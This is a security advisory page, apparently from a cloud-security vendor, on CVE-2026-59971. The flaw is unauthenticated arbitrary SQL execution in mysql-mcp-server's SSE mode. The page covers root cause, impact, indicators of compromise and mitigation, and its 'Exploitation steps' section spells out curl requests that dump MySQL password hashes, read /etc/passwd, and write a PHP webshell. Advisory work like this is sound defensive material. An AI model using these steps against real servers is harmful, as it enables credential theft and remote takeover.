CVE-2026-59971: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-59971 is a critical missing authentication and origin validation vulnerability in MySQL MCP Server (mysql-mcp-server on PyPI) that enables unauthenticated arbitrary SQL execution when the SSE transport mode is enabled. It affects all versions prior to 0.4.2 of the designcomputer/mysql_mcp_server package. The vulnerability was discovered by researchers Huanchen, SongWu, and BrookeYangRui (Johns Hopkins University), reported on June 17, 2026, and the advisory was published on June 21, 2026. It carries a CVSS v3.1 base score of 10.0 (Critical) (GitHub Advisory).

Technical details

The root cause is twofold: CWE-306 (Missing Authentication for Critical Function) and CWE-346 (Origin Validation Error). In src/mysql_mcp_server/server.py, the _run_sse_server() function constructs SseServerTransport("/messages/") without passing security_settings, which means the MCP Python SDK's DNS-rebinding protection (enable_dns_rebinding_protection) defaults to False. The Starlette application has no CORS or TrustedHost middleware, all three routes (/, /sse, /messages/) are unauthenticated, and the service binds to 0.0.0.0 by default. The ultimate sink is cursor.execute(query) where query is fully attacker-controlled, enabling two attack paths: (A) direct unauthenticated network access to execute_sql, and (B) DNS rebinding, where an attacker lures a victim's browser to a malicious page, rebinds their domain to 127.0.0.1, and relays same-origin requests to the locally bound service (GitHub Advisory, Issue #92).

Impact

Successful exploitation allows unauthenticated arbitrary SQL execution against the configured MySQL database, enabling full data exfiltration and modification. If the MySQL account holds the FILE privilege, attackers can additionally read arbitrary server files via SELECT LOAD_FILE('/etc/passwd') and write files via SELECT '...' INTO OUTFILE '/var/www/html/s.php', potentially dropping a webshell for remote code execution. Internet-wide scanning at the time of disclosure had already identified 25 publicly reachable SSE instances of this project, and since many deployments run as the MySQL root account (as shown in the README examples), the blast radius is maximized (GitHub Advisory, Issue #92).

Exploitability

No active in-the-wild exploitation has been confirmed, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.418% (34th percentile), indicating a relatively low near-term exploitation probability (GitHub Advisory). However, a detailed proof-of-concept was published as part of the responsible disclosure in GitHub Issue #92, including step-by-step curl commands for the direct exposure scenario and JavaScript code for the DNS rebinding scenario, making weaponization straightforward for any attacker who can reach an exposed instance (Issue #92). No specific threat actor attribution has been reported.

Exploitation steps

  1. Reconnaissance: Use internet scanning tools (e.g., Shodan, Censys) to identify publicly reachable MySQL MCP Server instances running in SSE mode (default port 8000). At disclosure, 25 such instances were confirmed publicly accessible.
  2. Establish SSE connection: Open a long-lived SSE connection to obtain a session_id:
    curl -N http://TARGET:8000/sse
    # Returns: event: endpoint\ndata: /messages/?session_id=<ID>
  3. Initialize the MCP session: Send the initialize JSON-RPC message using the obtained session_id:
    curl -s -X POST "http://TARGET:8000/messages/?session_id=<ID>" \
      -H "Content-Type: application/json" \
      -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}'
  4. Send initialized notification: Confirm session initialization:
    curl -s -X POST "http://TARGET:8000/messages/?session_id=<ID>" \
      -H "Content-Type: application/json" \
      -d '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}'
  5. Execute arbitrary SQL: Call execute_sql with any desired query; results are returned over the SSE stream from step 2:
    curl -s -X POST "http://TARGET:8000/messages/?session_id=<ID>" \
      -H "Content-Type: application/json" \
      -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"execute_sql","arguments":{"query":"SELECT user,authentication_string FROM mysql.user"}}}'
  6. Escalate to RCE (if FILE privilege available): Write a webshell using SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/s.php' to achieve remote code execution (Issue #92).

Indicators of compromise

  • Network: Unexpected HTTP connections to port 8000 (or configured MCP SSE port) from external or untrusted IP addresses; outbound HTTP requests from the database server to unknown collector endpoints (e.g., navigator.sendBeacon exfiltration targets in DNS rebinding scenarios).
  • Logs: Uvicorn/Starlette access logs showing GET /sse followed by multiple POST /messages/?session_id= requests from a single IP, especially with JSON-RPC tools/call method targeting execute_sql; log entries for SQL queries such as SELECT user,authentication_string FROM mysql.user, SELECT LOAD_FILE(...), or INTO OUTFILE statements.
  • File System: Unexpected new files in web-accessible directories (e.g., .php, .jsp, .aspx webshells) created by the MySQL process user; MySQL general query log entries showing LOAD_FILE or INTO OUTFILE operations.
  • Process: Unusual child processes spawned from the MySQL or Python/Uvicorn process; unexpected outbound network connections from the server hosting the MCP service (GitHub Advisory, Issue #92).

Mitigation and workarounds

Upgrade mysql-mcp-server to version 0.4.2 or later, which passes TransportSecuritySettings(enable_dns_rebinding_protection=True) to SseServerTransport, validating Host and Origin headers against an allowlist (v0.4.2 Release). As an immediate workaround for those unable to upgrade, set MCP_SSE_HOST=127.0.0.1 to restrict the service to loopback only, and place it behind a reverse proxy (nginx, Caddy, Traefik) that enforces authentication. Additionally, configure the MySQL account used by the server with least-privilege permissions and revoke the FILE privilege to prevent file read/write escalation. If SSE mode is not required, use the default MCP_TRANSPORT=stdio mode, which is not affected by this vulnerability (GitHub Advisory, Patch Commit).

Community reactions

The vulnerability was noted on Mastodon by security-focused accounts including @thehackerwire and @stemshop, indicating moderate community awareness (Feedly). The researchers (from Johns Hopkins University) provided an unusually thorough disclosure including precise root-cause analysis, reproduction steps, and a clarification that pure form-based CSRF does not work — only direct exposure and DNS rebinding are viable attack paths, correcting a common misconception in similar vulnerability reports (Issue #92). The project maintainer responded promptly with a fix released in v0.4.2 and updated documentation with security hardening guidance.

Additional resources


Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-mm57-4v3p-rchxHIGH7.5
  • Python logoPython
  • pyasn1
NoYesOct 27, 2026
GHSA-2qm8-x737-gmw5HIGH7.5
  • Python logoPython
  • pyasn1
NoYesOct 27, 2026
GHSA-fm9c-5rcf-2q5pHIGH7.5
  • Python logoPython
  • pyasn1
NoYesOct 27, 2026
GHSA-9m75-vc3g-4x39HIGH7.5
  • Python logoPython
  • pyasn1
NoYesOct 27, 2026
GHSA-4prv-5hj7-c2xrHIGH7
  • Python logoPython
  • diffusers
NoYesOct 27, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management